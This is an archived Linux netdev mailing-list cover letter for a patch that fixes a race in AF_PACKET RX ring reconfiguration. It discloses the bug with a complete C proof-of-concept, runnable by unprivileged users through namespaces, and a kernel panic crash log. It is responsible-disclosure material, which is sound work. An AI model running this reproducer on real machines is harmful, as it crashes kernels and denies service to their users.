All of lore.kernel.org
 help / color / mirror / Atom feed
From: Zihan Xi <zihanx@nebusec.ai>
To: netdev@vger.kernel.org
Cc: edumazet@google.com, pabeni@redhat.com, horms@kernel.org,
	vega@nebusec.ai, zihanx@nebusec.ai
Subject: [PATCH net v3 0/1] packet: fix stale ring mode race
Date: Wed, 29 Jul 2026 09:16:52 +0000	[thread overview]
Message-ID: <cover.1785247446.git.zihanx@nebusec.ai> (raw)

Hi Linux kernel maintainers,

We found and validated an issue in net/packet/af_packet.c. The bug is
reachable by a non-root user via user and net namespace, with
CAP_NET_RAW in the target network namespace, through PACKET_RX_RING
reconfiguration on an AF_PACKET socket.
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

packet_set_ring() swaps or clears po->rx_ring.pg_vec and related RX ring
state while holding sk->sk_receive_queue.lock. Before this patch, it
published the receive mode by updating po->prot_hook.func only after
dropping that queue lock.

packet_poll() and packet_recvmsg() may call
packet_rcv_try_clear_pressure(), which reaches
__packet_rcv_has_room(). That helper decides whether to use the
tpacket ring helpers solely from po->prot_hook.func. A concurrent poll
or recvmsg path can therefore observe a stale tpacket_rcv value after
the RX ring has already been cleared. For TPACKET_V1/V2 this can drive
packet_lookup_frame() with rb->pg_vec == NULL; for TPACKET_V3, stale
block queue metadata may be used after the old ring is released.

Fix this by moving the existing receive hook assignment into the same
sk_receive_queue.lock section as the ring state update. The assignment
is otherwise unchanged, including on TX ring reconfiguration, to avoid
adding behavior changes that are not required for the fix.

packet_recvmsg() only takes the queue lock after observing
PACKET_SOCK_PRESSURE. If the flag is clear and the socket has moved
away from tpacket_rcv, packet_set_ring() has already detached the
socket and waited for synchronize_net(), so no new packet input can set
the flag again. packet_poll() already holds sk_receive_queue.lock, so it
uses the unlocked helper directly.

The pressure-clearing trigger used by this reproducer was introduced
by commit 2ccdbaa6d55b ("packet: rollover lock contention avoidance"),
which added owner-side pressure clearing from packet_recvmsg() and
packet_poll(). Therefore the Fixes tag points to 2ccdbaa6d55b.

Reproducer:

    gcc -O2 -static -o poc poc.c
    unshare -Urn ./poc

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------

#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

static volatile sig_atomic_t stop_flag;
static size_t ring_block_size;
static size_t ring_frame_size;
static size_t send_len = 2048;

static void die(const char *what)
{
	perror(what);
	exit(1);
}

static long gettid_wrap(void)
{
	return syscall(SYS_gettid);
}

static void pin_to_cpu(int cpu)
{
	cpu_set_t set;

	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	if (sched_setaffinity(0, sizeof(set), &set) != 0)
		perror("sched_setaffinity");
}

static void set_nonblock(int fd)
{
	int flags = fcntl(fd, F_GETFL, 0);

	if (flags < 0)
		die("fcntl(F_GETFL)");
	if (fcntl(fd, F_SETFL, flags | O_NONBLOCK) != 0)
		die("fcntl(F_SETFL)");
}

static int make_packet_socket(int ifindex, int fanout_arg, bool with_ring)
{
	int fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IP));
	int version = TPACKET_V1;
	int copy_thresh = 1;
	struct sockaddr_ll sll = {
		.sll_family = AF_PACKET,
		.sll_protocol = htons(ETH_P_IP),
		.sll_ifindex = ifindex,
	};

	if (fd < 0)
		die("socket(AF_PACKET)");
	set_nonblock(fd);

	if (setsockopt(fd, SOL_PACKET, PACKET_VERSION, &version,
		       sizeof(version)) != 0)
		die("setsockopt(PACKET_VERSION)");
	if (setsockopt(fd, SOL_PACKET, PACKET_COPY_THRESH, &copy_thresh,
		       sizeof(copy_thresh)) != 0)
		die("setsockopt(PACKET_COPY_THRESH)");

	if (bind(fd, (struct sockaddr *)&sll, sizeof(sll)) != 0)
		die("bind(AF_PACKET)");

	if (setsockopt(fd, SOL_PACKET, PACKET_FANOUT, &fanout_arg,
		       sizeof(fanout_arg)) != 0)
		die("setsockopt(PACKET_FANOUT)");

	if (with_ring) {
		struct tpacket_req req = {
			.tp_block_size = ring_block_size,
			.tp_block_nr = 1,
			.tp_frame_size = ring_frame_size,
			.tp_frame_nr = ring_block_size / ring_frame_size,
		};

		if (setsockopt(fd, SOL_PACKET, PACKET_RX_RING, &req,
			       sizeof(req)) != 0)
			die("setsockopt(PACKET_RX_RING create)");
	}

	return fd;
}

static void destroy_ring(int fd)
{
	struct tpacket_req req = {0};

	if (setsockopt(fd, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)) != 0)
		die("setsockopt(PACKET_RX_RING destroy)");
}

static void create_ring(int fd)
{
	struct tpacket_req req = {
		.tp_block_size = ring_block_size,
		.tp_block_nr = 1,
		.tp_frame_size = ring_frame_size,
		.tp_frame_nr = ring_block_size / ring_frame_size,
	};

	if (setsockopt(fd, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)) != 0)
		die("setsockopt(PACKET_RX_RING recreate)");
}

static int make_udp_pair(void)
{
	int fd = socket(AF_INET, SOCK_DGRAM, 0);
	struct sockaddr_in addr = {
		.sin_family = AF_INET,
		.sin_port = htons(31337),
		.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
	};
	int one = 1;

	if (fd < 0)
		die("socket(AF_INET)");
	if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) != 0)
		die("setsockopt(SO_REUSEADDR)");
	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) != 0)
		die("bind(AF_INET)");
	set_nonblock(fd);
	return fd;
}

struct thread_args {
	int target_fd;
	int mirror_fd;
	int sink_fd;
};

static void *poll_thread(void *arg)
{
	struct thread_args *args = arg;
	struct pollfd pfd = {
		.fd = args->target_fd,
		.events = POLLIN | POLLERR,
	};

	pin_to_cpu(0);
	printf("[*] poll thread tid=%ld\n", gettid_wrap());
	fflush(stdout);

	while (!stop_flag) {
		(void)poll(&pfd, 1, 0);
	}

	return NULL;
}

static void *recv_thread(void *arg)
{
	struct thread_args *args = arg;
	char buf[65536];
	unsigned long iters = 0;

	pin_to_cpu(1);
	printf("[*] recv thread tid=%ld\n", gettid_wrap());
	fflush(stdout);

	while (!stop_flag) {
		ssize_t n = recv(args->target_fd, buf, sizeof(buf), 0);

		if (n < 0 && errno != EAGAIN && errno != EWOULDBLOCK &&
		    errno != EINTR)
			die("recv(packet target)");
		if ((++iters & 0xfffffUL) == 0) {
			printf("[*] recv iterations=%lu\n", iters);
			fflush(stdout);
		}
	}

	return NULL;
}

static void *reconfig_thread(void *arg)
{
	struct thread_args *args = arg;
	unsigned long iters = 0;

	pin_to_cpu(1);
	printf("[*] reconfig thread tid=%ld\n", gettid_wrap());
	fflush(stdout);

	while (!stop_flag) {
		destroy_ring(args->target_fd);
		create_ring(args->target_fd);
		if ((++iters & 0xfffffUL) == 0) {
			printf("[*] reconfig iterations=%lu\n", iters);
			fflush(stdout);
		}
	}

	return NULL;
}

static void *udp_sink_thread(void *arg)
{
	struct thread_args *args = arg;
	char buf[65536];

	pin_to_cpu(2);
	printf("[*] sink thread tid=%ld\n", gettid_wrap());
	fflush(stdout);

	while (!stop_flag) {
		ssize_t n = recv(args->sink_fd, buf, sizeof(buf), 0);

		if (n < 0 && errno != EAGAIN && errno != EWOULDBLOCK &&
		    errno != EINTR)
			die("recv(udp sink)");
	}

	return NULL;
}

static void *udp_sender_thread(void *arg)
{
	struct thread_args *args = arg;

	int fd = socket(AF_INET, SOCK_DGRAM, 0);
	struct sockaddr_in addr = {
		.sin_family = AF_INET,
		.sin_port = htons(31337),
		.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
	};
	char *buf;
	unsigned long iters = 0;

	if (fd < 0)
		die("socket(AF_INET sender)");
	buf = malloc(send_len);
	if (!buf)
		die("malloc(send buffer)");

	pin_to_cpu(3);
	memset(buf, 'A', send_len);
	printf("[*] sender thread tid=%ld\n", gettid_wrap());
	fflush(stdout);

	while (!stop_flag) {
		char drain[65536];
		ssize_t n = sendto(fd, buf, send_len, 0,
				   (struct sockaddr *)&addr, sizeof(addr));

		if (n < 0 && errno != EINTR)
			die("sendto(loopback)");
		for (;;) {
			n = recv(args->sink_fd, drain, sizeof(drain), 0);
			if (n < 0) {
				if (errno == EAGAIN || errno == EWOULDBLOCK ||
				    errno == EINTR)
					break;
				die("recv(loopback sink)");
			}
		}
		if ((++iters & 0xfffffUL) == 0) {
			printf("[*] send iterations=%lu\n", iters);
			fflush(stdout);
		}
	}

	close(fd);
	return NULL;
}

int main(void)
{
	const int ifindex = if_nametoindex("lo");
	const int fanout_id = 0x2345;
	const int fanout_arg = fanout_id |
		((PACKET_FANOUT_LB | PACKET_FANOUT_FLAG_ROLLOVER) << 16);
	struct thread_args args;
	pthread_t poller;
	pthread_t receiver;
	pthread_t reconfig;
	pthread_t sender;

	ring_block_size = getpagesize();
	ring_frame_size = 128;

	if (!ifindex) {
		errno = ENODEV;
		die("if_nametoindex(lo)");
	}

	printf("[*] lo ifindex=%d\n", ifindex);
	fflush(stdout);

	args.sink_fd = make_udp_pair();
	args.target_fd = make_packet_socket(ifindex, fanout_arg, true);
	args.mirror_fd = make_packet_socket(ifindex, fanout_arg, false);

	printf("[*] target packet fd=%d\n", args.target_fd);
	printf("[*] mirror packet fd=%d\n", args.mirror_fd);
	printf("[*] fanout arg=0x%x\n", fanout_arg);
	printf("[*] ring: block=%zu frame=%zu frames=%zu send_len=%zu\n",
	       ring_block_size, ring_frame_size,
	       ring_block_size / ring_frame_size, send_len);
	fflush(stdout);

	if (pthread_create(&sender, NULL, udp_sender_thread, &args) != 0)
		die("pthread_create(sender)");

	sleep(1);
	printf("[*] starting poll/reconfigure race\n");
	fflush(stdout);

	if (pthread_create(&receiver, NULL, recv_thread, &args) != 0)
		die("pthread_create(receiver)");
	if (pthread_create(&poller, NULL, poll_thread, &args) != 0)
		die("pthread_create(poller)");
	if (pthread_create(&reconfig, NULL, reconfig_thread, &args) != 0)
		die("pthread_create(reconfig)");

	for (;;)
		pause();

	return 0;
}

------END poc.c--------

----BEGIN crash log----

[ 1250.041340][T10008] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] SMP KASAN NOPTI
[ 1250.042310][T10008] KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]
[ 1250.042864][T10008] CPU: 0 UID: 0 PID: 10008 Comm: poc Not tainted 7.1.0-rc1 #2 PREEMPT(full)
[ 1250.043451][T10008] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 1250.044145][T10008] RIP: 0010:packet_lookup_frame.isra.0+0x33/0x1c0
[ 1250.044597][T10008] Code: c0 55 89 cd 53 48 89 fb 48 89 f7 89 d6 31 d2 f7 f6 48 83 ec 10 4c 8d 24 c7 48 b8 00 00 00 00 00 fc ff df 4c 89 e1 48 c1 e9 03 <80> 3c 01 00 0f 85 30 01 00 00 89 d0 0f af c5 49 03 04 24 48 8d bb
[ 1250.045881][T10008] RSP: 0018:ffa000001366f7f8 EFLAGS: 00010256
[ 1250.046289][T10008] RAX: dffffc0000000000 RBX: ff11000070c74000 RCX: 0000000000000000
[ 1250.046801][T10008] RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000000000
[ 1250.047319][T10008] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
[ 1250.047830][T10008] R10: ff11000070c7489f R11: 000000000000083b R12: 0000000000000000
[ 1250.048347][T10008] R13: ff11000070c7459c R14: ff11000070c74590 R15: ff11000070c74588
[ 1250.048865][T10008] FS:  00007f395cc1e6c0(0000) GS:ff11000184acf000(0000) knlGS:0000000000000000
[ 1250.049451][T10008] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 1250.049878][T10008] CR2: 00007ffda7f5be2c CR3: 000000002307f000 CR4: 0000000000751ef0
[ 1250.050405][T10008] PKRU: 55555554
[ 1250.050642][T10008] Call Trace:
[ 1250.050860][T10008]  <TASK>
[ 1250.051069][T10008]  __packet_rcv_has_room+0x271/0x6b0
[ 1250.051415][T10008]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1250.051792][T10008]  ? __pfx_packet_poll+0x10/0x10
[ 1250.052124][T10008]  packet_rcv_try_clear_pressure+0x51/0x80
[ 1250.052508][T10008]  packet_poll+0x1b5/0x500
[ 1250.052803][T10008]  sock_poll+0x134/0x490
[ 1250.053115][T10008]  do_sys_poll+0x507/0xbf0
[ 1250.053424][T10008]  ? __pfx_do_sys_poll+0x10/0x10
[ 1250.053765][T10008]  ? __lock_acquire+0x45c/0x25f0
[ 1250.054140][T10008]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1250.054511][T10008]  ? do_raw_spin_lock+0x12d/0x270
[ 1250.054844][T10008]  ? __pfx_do_raw_spin_lock+0x10/0x10
[ 1250.055203][T10008]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1250.055570][T10008]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1250.055954][T10008]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1250.056325][T10008]  ? sched_clock_cpu+0x6c/0x530
[ 1250.056656][T10008]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1250.057030][T10008]  __x64_sys_poll+0x181/0x3e0
[ 1250.057337][T10008]  ? __pfx___x64_sys_poll+0x10/0x10
[ 1250.057679][T10008]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1250.058059][T10008]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1250.058426][T10008]  ? rcu_is_watching+0x12/0xc0
[ 1250.058745][T10008]  do_syscall_64+0x116/0xf80
[ 1250.059069][T10008]  ? irqentry_exit+0x117/0x830
[ 1250.059392][T10008]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 1250.059779][T10008] RIP: 0033:0x7f395dcbe9ee
[ 1250.060081][T10008] Code: 08 0f 85 f5 4b ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 80 00 00 00 00 48 83 ec 08
[ 1250.061315][T10008] RSP: 002b:00007f395cc1de18 EFLAGS: 00000246 ORIG_RAX: 0000000000000007
[ 1250.061858][T10008] RAX: ffffffffffffffda RBX: 00007f395cc1e6c0 RCX: 00007f395dcbe9ee
[ 1250.062379][T10008] RDX: 0000000000000000 RSI: 0000000000000001 RDI: 00007f395cc1de80
[ 1250.062902][T10008] RBP: ffffffffffffff00 R08: 0000000000000000 R09: 0000000000000000
[ 1250.063427][T10008] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000021
[ 1250.063944][T10008] R13: 0000000000000000 R14: 00007fff4bd03900 R15: 00007f395c41e000
[ 1250.064494][T10008]  </TASK>
[ 1250.064693][T10008] Modules linked in:
[ 1250.065041][T10008] ---[ end trace 0000000000000000 ]---
[ 1250.065428][T10008] RIP: 0010:packet_lookup_frame.isra.0+0x33/0x1c0
[ 1250.065955][T10008] Code: c0 55 89 cd 53 48 89 fb 48 89 f7 89 d6 31 d2 f7 f6 48 83 ec 10 4c 8d 24 c7 48 b8 00 00 00 00 00 fc ff df 4c 89 e1 48 c1 e9 03 <80> 3c 01 00 0f 85 30 01 00 00 89 d0 0f af c5 49 03 04 24 48 8d bb
[ 1250.067510][T10008] RSP: 0018:ffa000001366f7f8 EFLAGS: 00010256
[ 1250.067935][T10008] RAX: dffffc0000000000 RBX: ff11000070c74000 RCX: 0000000000000000
[ 1250.068553][T10008] RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000000000
[ 1250.069271][T10008] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
[ 1250.069879][T10008] R10: ff11000070c7489f R11: 000000000000083b R12: 0000000000000000
[ 1250.070540][T10008] R13: ff11000070c7459c R14: ff11000070c74590 R15: ff11000070c74588
[ 1250.071188][T10008] FS:  00007f395cc1e6c0(0000) GS:ff11000184acf000(0000) knlGS:0000000000000000
[ 1250.071991][T10008] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 1250.072518][T10008] CR2: 00007ffda7f5be2c CR3: 000000002307f000 CR4: 0000000000751ef0
[ 1250.073215][T10008] PKRU: 55555554
[ 1250.073492][T10008] Kernel panic - not syncing: Fatal exception in interrupt
[ 1250.074247][T10008] Kernel Offset: disabled
[ 1250.074781][T10008] Rebooting in 86400 seconds..

-----END crash log-----

The stack trace above is taken from the locally decoded crash log
prepared with scripts/decode_stacktrace.sh.

Best regards,
Zihan Xi

Zihan Xi (1):
  packet: synchronize pressure clearing with ring reconfiguration

 net/packet/af_packet.c | 20 ++++++++++++++++----
 1 file changed, 16 insertions(+), 4 deletions(-)


-- 
2.43.0

             reply	other threads:[~2026-07-29  9:17 UTC|newest]

Thread overview: 2+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-07-29  9:16 Zihan Xi [this message]
2026-07-29  9:16 ` [PATCH net v3 1/1] packet: synchronize pressure clearing with ring reconfiguration Zihan Xi

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=cover.1785247446.git.zihanx@nebusec.ai \
    --to=zihanx@nebusec.ai \
    --cc=edumazet@google.com \
    --cc=horms@kernel.org \
    --cc=netdev@vger.kernel.org \
    --cc=pabeni@redhat.com \
    --cc=vega@nebusec.ai \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.